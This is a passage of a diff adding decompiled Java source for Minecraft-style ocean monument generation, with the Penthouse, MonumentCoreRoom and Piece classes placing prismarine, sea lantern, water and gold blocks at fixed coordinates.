+        func_175804_a(worldIn, p_175840_5_, p_175840_2_ + 12, 1, 11, p_175840_2_ + 12, 7, 13, field_175828_a, field_175828_a, false);
+      }
+    }
+    
+    private void func_175839_b(World worldIn, Random p_175839_2_, StructureBoundingBox p_175839_3_)
+    {
+      if (func_175818_a(p_175839_3_, 22, 5, 35, 17))
+      {
+        func_175804_a(worldIn, p_175839_3_, 25, 0, 0, 32, 8, 20, field_175822_f, field_175822_f, false);
+        
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175839_3_, 24, 2, 5 + var4 * 4, 24, 4, 5 + var4 * 4, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_175839_3_, 22, 4, 5 + var4 * 4, 23, 4, 5 + var4 * 4, field_175826_b, field_175826_b, false);
+          func_175811_a(worldIn, field_175826_b, 25, 5, 5 + var4 * 4, p_175839_3_);
+          func_175811_a(worldIn, field_175826_b, 26, 6, 5 + var4 * 4, p_175839_3_);
+          func_175811_a(worldIn, field_175825_e, 26, 5, 5 + var4 * 4, p_175839_3_);
+          func_175804_a(worldIn, p_175839_3_, 33, 2, 5 + var4 * 4, 33, 4, 5 + var4 * 4, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_175839_3_, 34, 4, 5 + var4 * 4, 35, 4, 5 + var4 * 4, field_175826_b, field_175826_b, false);
+          func_175811_a(worldIn, field_175826_b, 32, 5, 5 + var4 * 4, p_175839_3_);
+          func_175811_a(worldIn, field_175826_b, 31, 6, 5 + var4 * 4, p_175839_3_);
+          func_175811_a(worldIn, field_175825_e, 31, 5, 5 + var4 * 4, p_175839_3_);
+          func_175804_a(worldIn, p_175839_3_, 27, 6, 5 + var4 * 4, 30, 6, 5 + var4 * 4, field_175828_a, field_175828_a, false);
+        }
+      }
+    }
+    
+    private void func_175837_c(World worldIn, Random p_175837_2_, StructureBoundingBox p_175837_3_)
+    {
+      if (func_175818_a(p_175837_3_, 15, 20, 42, 21))
+      {
+        func_175804_a(worldIn, p_175837_3_, 15, 0, 21, 42, 0, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 26, 1, 21, 31, 3, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 21, 12, 21, 36, 12, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 17, 11, 21, 40, 11, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 16, 10, 21, 41, 10, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 15, 7, 21, 42, 9, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 16, 6, 21, 41, 6, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 17, 5, 21, 40, 5, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 21, 4, 21, 36, 4, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 22, 3, 21, 26, 3, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 31, 3, 21, 35, 3, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 23, 2, 21, 25, 2, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 32, 2, 21, 34, 2, 21, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175837_3_, 28, 4, 20, 29, 4, 21, field_175826_b, field_175826_b, false);
+        func_175811_a(worldIn, field_175826_b, 27, 3, 21, p_175837_3_);
+        func_175811_a(worldIn, field_175826_b, 30, 3, 21, p_175837_3_);
+        func_175811_a(worldIn, field_175826_b, 26, 2, 21, p_175837_3_);
+        func_175811_a(worldIn, field_175826_b, 31, 2, 21, p_175837_3_);
+        func_175811_a(worldIn, field_175826_b, 25, 1, 21, p_175837_3_);
+        func_175811_a(worldIn, field_175826_b, 32, 1, 21, p_175837_3_);
+        
+
+        for (int var4 = 0; var4 < 7; var4++)
+        {
+          func_175811_a(worldIn, field_175827_c, 28 - var4, 6 + var4, 21, p_175837_3_);
+          func_175811_a(worldIn, field_175827_c, 29 + var4, 6 + var4, 21, p_175837_3_);
+        }
+        
+        for (var4 = 0; var4 < 4; var4++)
+        {
+          func_175811_a(worldIn, field_175827_c, 28 - var4, 9 + var4, 21, p_175837_3_);
+          func_175811_a(worldIn, field_175827_c, 29 + var4, 9 + var4, 21, p_175837_3_);
+        }
+        
+        func_175811_a(worldIn, field_175827_c, 28, 12, 21, p_175837_3_);
+        func_175811_a(worldIn, field_175827_c, 29, 12, 21, p_175837_3_);
+        
+        for (var4 = 0; var4 < 3; var4++)
+        {
+          func_175811_a(worldIn, field_175827_c, 22 - var4 * 2, 8, 21, p_175837_3_);
+          func_175811_a(worldIn, field_175827_c, 22 - var4 * 2, 9, 21, p_175837_3_);
+          func_175811_a(worldIn, field_175827_c, 35 + var4 * 2, 8, 21, p_175837_3_);
+          func_175811_a(worldIn, field_175827_c, 35 + var4 * 2, 9, 21, p_175837_3_);
+        }
+        
+        func_175804_a(worldIn, p_175837_3_, 15, 13, 21, 42, 15, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 15, 1, 21, 15, 6, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 16, 1, 21, 16, 5, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 17, 1, 21, 20, 4, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 21, 1, 21, 21, 3, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 22, 1, 21, 22, 2, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 23, 1, 21, 24, 1, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 42, 1, 21, 42, 6, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 41, 1, 21, 41, 5, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 37, 1, 21, 40, 4, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 36, 1, 21, 36, 3, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 35, 1, 21, 35, 2, 21, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175837_3_, 33, 1, 21, 34, 1, 21, field_175822_f, field_175822_f, false);
+      }
+    }
+    
+    private void func_175841_d(World worldIn, Random p_175841_2_, StructureBoundingBox p_175841_3_)
+    {
+      if (func_175818_a(p_175841_3_, 21, 21, 36, 36))
+      {
+        func_175804_a(worldIn, p_175841_3_, 21, 0, 22, 36, 0, 36, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175841_3_, 21, 1, 22, 36, 23, 36, field_175822_f, field_175822_f, false);
+        
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175841_3_, 21 + var4, 13 + var4, 21 + var4, 36 - var4, 13 + var4, 21 + var4, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_175841_3_, 21 + var4, 13 + var4, 36 - var4, 36 - var4, 13 + var4, 36 - var4, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_175841_3_, 21 + var4, 13 + var4, 22 + var4, 21 + var4, 13 + var4, 35 - var4, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_175841_3_, 36 - var4, 13 + var4, 22 + var4, 36 - var4, 13 + var4, 35 - var4, field_175826_b, field_175826_b, false);
+        }
+        
+        func_175804_a(worldIn, p_175841_3_, 25, 16, 25, 32, 16, 32, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175841_3_, 25, 17, 25, 25, 19, 25, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_175841_3_, 32, 17, 25, 32, 19, 25, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_175841_3_, 25, 17, 32, 25, 19, 32, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_175841_3_, 32, 17, 32, 32, 19, 32, field_175826_b, field_175826_b, false);
+        func_175811_a(worldIn, field_175826_b, 26, 20, 26, p_175841_3_);
+        func_175811_a(worldIn, field_175826_b, 27, 21, 27, p_175841_3_);
+        func_175811_a(worldIn, field_175825_e, 27, 20, 27, p_175841_3_);
+        func_175811_a(worldIn, field_175826_b, 26, 20, 31, p_175841_3_);
+        func_175811_a(worldIn, field_175826_b, 27, 21, 30, p_175841_3_);
+        func_175811_a(worldIn, field_175825_e, 27, 20, 30, p_175841_3_);
+        func_175811_a(worldIn, field_175826_b, 31, 20, 31, p_175841_3_);
+        func_175811_a(worldIn, field_175826_b, 30, 21, 30, p_175841_3_);
+        func_175811_a(worldIn, field_175825_e, 30, 20, 30, p_175841_3_);
+        func_175811_a(worldIn, field_175826_b, 31, 20, 26, p_175841_3_);
+        func_175811_a(worldIn, field_175826_b, 30, 21, 27, p_175841_3_);
+        func_175811_a(worldIn, field_175825_e, 30, 20, 27, p_175841_3_);
+        func_175804_a(worldIn, p_175841_3_, 28, 21, 27, 29, 21, 27, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175841_3_, 27, 21, 28, 27, 21, 29, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175841_3_, 28, 21, 30, 29, 21, 30, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175841_3_, 30, 21, 28, 30, 21, 29, field_175828_a, field_175828_a, false);
+      }
+    }
+    
+
+
+    private void func_175835_e(World worldIn, Random p_175835_2_, StructureBoundingBox p_175835_3_)
+    {
+      if (func_175818_a(p_175835_3_, 0, 21, 6, 58))
+      {
+        func_175804_a(worldIn, p_175835_3_, 0, 0, 21, 6, 0, 57, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175835_3_, 0, 1, 21, 6, 7, 57, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175835_3_, 4, 4, 21, 6, 4, 53, field_175828_a, field_175828_a, false);
+        
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175835_3_, var4, var4 + 1, 21, var4, var4 + 1, 57 - var4, field_175826_b, field_175826_b, false);
+        }
+        
+        for (var4 = 23; var4 < 53; var4 += 3)
+        {
+          func_175811_a(worldIn, field_175824_d, 5, 5, var4, p_175835_3_);
+        }
+        
+        func_175811_a(worldIn, field_175824_d, 5, 5, 52, p_175835_3_);
+        
+        for (var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175835_3_, var4, var4 + 1, 21, var4, var4 + 1, 57 - var4, field_175826_b, field_175826_b, false);
+        }
+        
+        func_175804_a(worldIn, p_175835_3_, 4, 1, 52, 6, 3, 52, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175835_3_, 5, 1, 51, 5, 3, 53, field_175828_a, field_175828_a, false);
+      }
+      
+      if (func_175818_a(p_175835_3_, 51, 21, 58, 58))
+      {
+        func_175804_a(worldIn, p_175835_3_, 51, 0, 21, 57, 0, 57, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175835_3_, 51, 1, 21, 57, 7, 57, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175835_3_, 51, 4, 21, 53, 4, 53, field_175828_a, field_175828_a, false);
+        
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175835_3_, 57 - var4, var4 + 1, 21, 57 - var4, var4 + 1, 57 - var4, field_175826_b, field_175826_b, false);
+        }
+        
+        for (var4 = 23; var4 < 53; var4 += 3)
+        {
+          func_175811_a(worldIn, field_175824_d, 52, 5, var4, p_175835_3_);
+        }
+        
+        func_175811_a(worldIn, field_175824_d, 52, 5, 52, p_175835_3_);
+        func_175804_a(worldIn, p_175835_3_, 51, 1, 52, 53, 3, 52, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175835_3_, 52, 1, 51, 52, 3, 53, field_175828_a, field_175828_a, false);
+      }
+      
+      if (func_175818_a(p_175835_3_, 0, 51, 57, 57))
+      {
+        func_175804_a(worldIn, p_175835_3_, 7, 0, 51, 50, 0, 57, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175835_3_, 7, 1, 51, 50, 10, 57, field_175822_f, field_175822_f, false);
+        
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175835_3_, var4 + 1, var4 + 1, 57 - var4, 56 - var4, var4 + 1, 57 - var4, field_175826_b, field_175826_b, false);
+        }
+      }
+    }
+    
+
+
+    private void func_175842_f(World worldIn, Random p_175842_2_, StructureBoundingBox p_175842_3_)
+    {
+      if (func_175818_a(p_175842_3_, 7, 21, 13, 50))
+      {
+        func_175804_a(worldIn, p_175842_3_, 7, 0, 21, 13, 0, 50, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175842_3_, 7, 1, 21, 13, 10, 50, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175842_3_, 11, 8, 21, 13, 8, 53, field_175828_a, field_175828_a, false);
+        
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175842_3_, var4 + 7, var4 + 5, 21, var4 + 7, var4 + 5, 54, field_175826_b, field_175826_b, false);
+        }
+        
+        for (var4 = 21; var4 <= 45; var4 += 3)
+        {
+          func_175811_a(worldIn, field_175824_d, 12, 9, var4, p_175842_3_);
+        }
+      }
+      
+      if (func_175818_a(p_175842_3_, 44, 21, 50, 54))
+      {
+        func_175804_a(worldIn, p_175842_3_, 44, 0, 21, 50, 0, 50, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175842_3_, 44, 1, 21, 50, 10, 50, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175842_3_, 44, 8, 21, 46, 8, 53, field_175828_a, field_175828_a, false);
+        
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175842_3_, 50 - var4, var4 + 5, 21, 50 - var4, var4 + 5, 54, field_175826_b, field_175826_b, false);
+        }
+        
+        for (var4 = 21; var4 <= 45; var4 += 3)
+        {
+          func_175811_a(worldIn, field_175824_d, 45, 9, var4, p_175842_3_);
+        }
+      }
+      
+      if (func_175818_a(p_175842_3_, 8, 44, 49, 54))
+      {
+        func_175804_a(worldIn, p_175842_3_, 14, 0, 44, 43, 0, 50, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175842_3_, 14, 1, 44, 43, 10, 50, field_175822_f, field_175822_f, false);
+        
+        for (int var4 = 12; var4 <= 45; var4 += 3)
+        {
+          func_175811_a(worldIn, field_175824_d, var4, 9, 45, p_175842_3_);
+          func_175811_a(worldIn, field_175824_d, var4, 9, 52, p_175842_3_);
+          
+          if ((var4 == 12) || (var4 == 18) || (var4 == 24) || (var4 == 33) || (var4 == 39) || (var4 == 45))
+          {
+            func_175811_a(worldIn, field_175824_d, var4, 9, 47, p_175842_3_);
+            func_175811_a(worldIn, field_175824_d, var4, 9, 50, p_175842_3_);
+            func_175811_a(worldIn, field_175824_d, var4, 10, 45, p_175842_3_);
+            func_175811_a(worldIn, field_175824_d, var4, 10, 46, p_175842_3_);
+            func_175811_a(worldIn, field_175824_d, var4, 10, 51, p_175842_3_);
+            func_175811_a(worldIn, field_175824_d, var4, 10, 52, p_175842_3_);
+            func_175811_a(worldIn, field_175824_d, var4, 11, 47, p_175842_3_);
+            func_175811_a(worldIn, field_175824_d, var4, 11, 50, p_175842_3_);
+            func_175811_a(worldIn, field_175824_d, var4, 12, 48, p_175842_3_);
+            func_175811_a(worldIn, field_175824_d, var4, 12, 49, p_175842_3_);
+          }
+        }
+        
+        for (var4 = 0; var4 < 3; var4++)
+        {
+          func_175804_a(worldIn, p_175842_3_, 8 + var4, 5 + var4, 54, 49 - var4, 5 + var4, 54, field_175828_a, field_175828_a, false);
+        }
+        
+        func_175804_a(worldIn, p_175842_3_, 11, 8, 54, 46, 8, 54, field_175826_b, field_175826_b, false);
+        func_175804_a(worldIn, p_175842_3_, 14, 8, 44, 43, 8, 53, field_175828_a, field_175828_a, false);
+      }
+    }
+    
+
+
+    private void func_175838_g(World worldIn, Random p_175838_2_, StructureBoundingBox p_175838_3_)
+    {
+      if (func_175818_a(p_175838_3_, 14, 21, 20, 43))
+      {
+        func_175804_a(worldIn, p_175838_3_, 14, 0, 21, 20, 0, 43, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175838_3_, 14, 1, 22, 20, 14, 43, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175838_3_, 18, 12, 22, 20, 12, 39, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175838_3_, 18, 12, 21, 20, 12, 21, field_175826_b, field_175826_b, false);
+        
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175838_3_, var4 + 14, var4 + 9, 21, var4 + 14, var4 + 9, 43 - var4, field_175826_b, field_175826_b, false);
+        }
+        
+        for (var4 = 23; var4 <= 39; var4 += 3)
+        {
+          func_175811_a(worldIn, field_175824_d, 19, 13, var4, p_175838_3_);
+        }
+      }
+      
+      if (func_175818_a(p_175838_3_, 37, 21, 43, 43))
+      {
+        func_175804_a(worldIn, p_175838_3_, 37, 0, 21, 43, 0, 43, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175838_3_, 37, 1, 22, 43, 14, 43, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175838_3_, 37, 12, 22, 39, 12, 39, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175838_3_, 37, 12, 21, 39, 12, 21, field_175826_b, field_175826_b, false);
+        
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175838_3_, 43 - var4, var4 + 9, 21, 43 - var4, var4 + 9, 43 - var4, field_175826_b, field_175826_b, false);
+        }
+        
+        for (var4 = 23; var4 <= 39; var4 += 3)
+        {
+          func_175811_a(worldIn, field_175824_d, 38, 13, var4, p_175838_3_);
+        }
+      }
+      
+      if (func_175818_a(p_175838_3_, 15, 37, 42, 43))
+      {
+        func_175804_a(worldIn, p_175838_3_, 21, 0, 37, 36, 0, 43, field_175828_a, field_175828_a, false);
+        func_175804_a(worldIn, p_175838_3_, 21, 1, 37, 36, 14, 43, field_175822_f, field_175822_f, false);
+        func_175804_a(worldIn, p_175838_3_, 21, 12, 37, 36, 12, 39, field_175828_a, field_175828_a, false);
+        
+        for (int var4 = 0; var4 < 4; var4++)
+        {
+          func_175804_a(worldIn, p_175838_3_, 15 + var4, var4 + 9, 43 - var4, 42 - var4, var4 + 9, 43 - var4, field_175826_b, field_175826_b, false);
+        }
+        
+        for (var4 = 21; var4 <= 36; var4 += 3)
+        {
+          func_175811_a(worldIn, field_175824_d, var4, 13, 38, p_175838_3_);
+        }
+      }
+    }
+  }
+  
+  public static class MonumentCoreRoom extends StructureOceanMonumentPieces.Piece
+  {
+    private static final String __OBFID = "CL_00001984";
+    
+    public MonumentCoreRoom() {}
+    
+    public MonumentCoreRoom(EnumFacing p_i45598_1_, StructureOceanMonumentPieces.RoomDefinition p_i45598_2_, Random p_i45598_3_)
+    {
+      super(p_i45598_1_, p_i45598_2_, 2, 2, 2);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175819_a(worldIn, p_74875_3_, 1, 8, 0, 14, 8, 14, field_175828_a);
+      byte var4 = 7;
+      IBlockState var5 = field_175826_b;
+      func_175804_a(worldIn, p_74875_3_, 0, var4, 0, 0, var4, 15, var5, var5, false);
+      func_175804_a(worldIn, p_74875_3_, 15, var4, 0, 15, var4, 15, var5, var5, false);
+      func_175804_a(worldIn, p_74875_3_, 1, var4, 0, 15, var4, 0, var5, var5, false);
+      func_175804_a(worldIn, p_74875_3_, 1, var4, 15, 14, var4, 15, var5, var5, false);
+      
+
+      for (int var7 = 1; var7 <= 6; var7++)
+      {
+        var5 = field_175826_b;
+        
+        if ((var7 == 2) || (var7 == 6))
+        {
+          var5 = field_175828_a;
+        }
+        
+        for (int var6 = 0; var6 <= 15; var6 += 15)
+        {
+          func_175804_a(worldIn, p_74875_3_, var6, var7, 0, var6, var7, 1, var5, var5, false);
+          func_175804_a(worldIn, p_74875_3_, var6, var7, 6, var6, var7, 9, var5, var5, false);
+          func_175804_a(worldIn, p_74875_3_, var6, var7, 14, var6, var7, 15, var5, var5, false);
+        }
+        
+        func_175804_a(worldIn, p_74875_3_, 1, var7, 0, 1, var7, 0, var5, var5, false);
+        func_175804_a(worldIn, p_74875_3_, 6, var7, 0, 9, var7, 0, var5, var5, false);
+        func_175804_a(worldIn, p_74875_3_, 14, var7, 0, 14, var7, 0, var5, var5, false);
+        func_175804_a(worldIn, p_74875_3_, 1, var7, 15, 14, var7, 15, var5, var5, false);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 6, 3, 6, 9, 6, 9, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 7, 4, 7, 8, 5, 8, Blocks.gold_block.getDefaultState(), Blocks.gold_block.getDefaultState(), false);
+      
+      for (var7 = 3; var7 <= 6; var7 += 3)
+      {
+        for (int var8 = 6; var8 <= 9; var8 += 3)
+        {
+          func_175811_a(worldIn, field_175825_e, var8, var7, 6, p_74875_3_);
+          func_175811_a(worldIn, field_175825_e, var8, var7, 9, p_74875_3_);
+        }
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 6, 5, 2, 6, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 1, 9, 5, 2, 9, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 10, 1, 6, 10, 2, 6, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 10, 1, 9, 10, 2, 9, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 1, 5, 6, 2, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 9, 1, 5, 9, 2, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 1, 10, 6, 2, 10, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 9, 1, 10, 9, 2, 10, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 2, 5, 5, 6, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 2, 10, 5, 6, 10, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 10, 2, 5, 10, 6, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 10, 2, 10, 10, 6, 10, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 7, 1, 5, 7, 6, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 10, 7, 1, 10, 7, 6, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 5, 7, 9, 5, 7, 14, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 10, 7, 9, 10, 7, 14, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 7, 5, 6, 7, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 7, 10, 6, 7, 10, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 9, 7, 5, 14, 7, 5, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 9, 7, 10, 14, 7, 10, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 2, 1, 2, 2, 1, 3, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 2, 3, 1, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 13, 1, 2, 13, 1, 3, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 12, 1, 2, 12, 1, 2, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 2, 1, 12, 2, 1, 13, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 13, 3, 1, 13, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 13, 1, 12, 13, 1, 13, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 12, 1, 13, 12, 1, 13, field_175826_b, field_175826_b, false);
+      return true;
+    }
+  }
+  
+  static abstract interface MonumentRoomFitHelper
+  {
+    public abstract boolean func_175969_a(StructureOceanMonumentPieces.RoomDefinition paramRoomDefinition);
+    
+    public abstract StructureOceanMonumentPieces.Piece func_175968_a(EnumFacing paramEnumFacing, StructureOceanMonumentPieces.RoomDefinition paramRoomDefinition, Random paramRandom);
+  }
+  
+  public static class Penthouse extends StructureOceanMonumentPieces.Piece
+  {
+    private static final String __OBFID = "CL_00001977";
+    
+    public Penthouse() {}
+    
+    public Penthouse(EnumFacing p_i45591_1_, StructureBoundingBox p_i45591_2_)
+    {
+      super(p_i45591_2_);
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 2, -1, 2, 11, -1, 11, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 0, -1, 0, 1, -1, 11, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 12, -1, 0, 13, -1, 11, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 2, -1, 0, 11, -1, 1, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 2, -1, 12, 11, -1, 13, field_175828_a, field_175828_a, false);
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 0, 0, 13, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 13, 0, 0, 13, 0, 13, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 0, 12, 0, 0, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 1, 0, 13, 12, 0, 13, field_175826_b, field_175826_b, false);
+      
+      for (int var4 = 2; var4 <= 11; var4 += 3)
+      {
+        func_175811_a(worldIn, field_175825_e, 0, 0, var4, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, 13, 0, var4, p_74875_3_);
+        func_175811_a(worldIn, field_175825_e, var4, 0, 0, p_74875_3_);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 2, 0, 3, 4, 0, 9, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 9, 0, 3, 11, 0, 9, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 4, 0, 9, 9, 0, 11, field_175826_b, field_175826_b, false);
+      func_175811_a(worldIn, field_175826_b, 5, 0, 8, p_74875_3_);
+      func_175811_a(worldIn, field_175826_b, 8, 0, 8, p_74875_3_);
+      func_175811_a(worldIn, field_175826_b, 10, 0, 10, p_74875_3_);
+      func_175811_a(worldIn, field_175826_b, 3, 0, 10, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 3, 0, 3, 3, 0, 7, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 10, 0, 3, 10, 0, 7, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 6, 0, 10, 7, 0, 10, field_175827_c, field_175827_c, false);
+      byte var7 = 3;
+      
+      for (int var5 = 0; var5 < 2; var5++)
+      {
+        for (int var6 = 2; var6 <= 8; var6 += 3)
+        {
+          func_175804_a(worldIn, p_74875_3_, var7, 0, var6, var7, 2, var6, field_175826_b, field_175826_b, false);
+        }
+        
+        var7 = 10;
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 5, 0, 10, 5, 2, 10, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 8, 0, 10, 8, 2, 10, field_175826_b, field_175826_b, false);
+      func_175804_a(worldIn, p_74875_3_, 6, -1, 7, 7, -1, 8, field_175827_c, field_175827_c, false);
+      func_175804_a(worldIn, p_74875_3_, 6, -1, 3, 7, -1, 4, field_175822_f, field_175822_f, false);
+      func_175817_a(worldIn, p_74875_3_, 6, 1, 6);
+      return true;
+    }
+  }
+  
+  public static abstract class Piece extends StructureComponent
+  {
+    protected static final IBlockState field_175828_a = Blocks.prismarine.getStateFromMeta(BlockPrismarine.ROUGHMETA);
+    protected static final IBlockState field_175826_b = Blocks.prismarine.getStateFromMeta(BlockPrismarine.BRICKSMETA);
+    protected static final IBlockState field_175827_c = Blocks.prismarine.getStateFromMeta(BlockPrismarine.DARKMETA);
+    protected static final IBlockState field_175824_d = field_175826_b;
+    protected static final IBlockState field_175825_e = Blocks.sea_lantern.getDefaultState();
+    protected static final IBlockState field_175822_f = Blocks.water.getDefaultState();
+    protected static final int field_175823_g = func_175820_a(2, 0, 0);
+    protected static final int field_175831_h = func_175820_a(2, 2, 0);
+    protected static final int field_175832_i = func_175820_a(0, 1, 0);
+    protected static final int field_175829_j = func_175820_a(4, 1, 0);
+    protected StructureOceanMonumentPieces.RoomDefinition field_175830_k;
+    private static final String __OBFID = "CL_00001976";
+    
